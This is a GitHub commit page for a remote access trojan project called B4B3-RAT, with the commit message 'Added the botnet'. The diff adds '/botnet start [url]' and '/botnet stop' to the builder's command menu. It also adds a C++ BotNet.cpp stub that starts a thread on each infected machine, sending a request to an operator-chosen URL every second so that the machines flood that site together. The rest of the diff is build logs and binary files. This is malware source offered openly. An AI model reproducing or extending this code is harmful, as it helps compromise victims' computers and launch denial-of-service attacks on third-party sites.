Skip to content

Commit 9b58e23

Browse files
committed
Added the botnet
1 parent ccc8d6c commit 9b58e23

28 files changed

+133
-6
lines changed

B4B3-RAT/Builder/DlgProc.cpp

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -180,6 +180,10 @@ INT_PTR DlgMain(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
180180
"%0AScreen manager:%0A"
181181
"/user[ID] screenshot - take screenshot and send you %0A"
182182

183+
"%0ABotNet:%0A"
184+
"/botnet start [url] - all users send requests on site %0A"
185+
"/botnet stop - stop sending requests %0A"
186+
183187
"%0ARAT:%0A"
184188
"/online - show online users%0A";
185189

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
1-
 Создание кода
2-
Previous IPDB not found, fall back to full compilation.
3-
All 390 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
1+
 DlgProc.cpp
2+
Создание кода
3+
1 of 390 functions ( 0.3%) were compiled, the rest were copied from previous compilation.
4+
0 functions were new in current compilation
5+
1 functions had inline decision re-evaluated but remain unchanged
46
Создание кода завершено
57
Builder.vcxproj -> D:\VisualStudio\source\repos\B4B3-RAT\Release\Builder.exe
736 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.
400 Bytes
Binary file not shown.
134 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.
110 Bytes
Binary file not shown.

B4B3-RAT/Builder/Release/vc142.pdb

0 Bytes
Binary file not shown.

B4B3-RAT/Stub/BotNet.cpp

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
/*
2+
MIT License
3+
4+
Copyright (c) 2020 4B4DB4B3
5+
6+
Permission is hereby granted, free of charge, to any person obtaining a copy
7+
of this software and associated documentation files (the "Software"), to deal
8+
in the Software without restriction, including without limitation the rights
9+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10+
copies of the Software, and to permit persons to whom the Software is
11+
furnished to do so, subject to the following conditions:
12+
13+
The above copyright notice and this permission notice shall be included in all
14+
copies or substantial portions of the Software.
15+
16+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
22+
SOFTWARE.
23+
*/
24+
25+
#include "BotNet.h"
26+
#include "Requests.h"
27+
28+
void BotNet::ThreadNet(LPVOID Param) {
29+
BotNet* net = (BotNet*)Param;
30+
while (true) {
31+
Sleep(1000);
32+
GetRequest(net->url, "4B4DB4B3");
33+
}
34+
}
35+
36+
void BotNet::Start(char* url) {
37+
this->url = url;
38+
this->hThread = CreateThread(0, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(&ThreadNet), (LPVOID)this, 0, 0);
39+
}
40+
41+
void BotNet::Stop() {
42+
TerminateThread(this->hThread, 0);
43+
}

0 commit comments

Comments
 (0)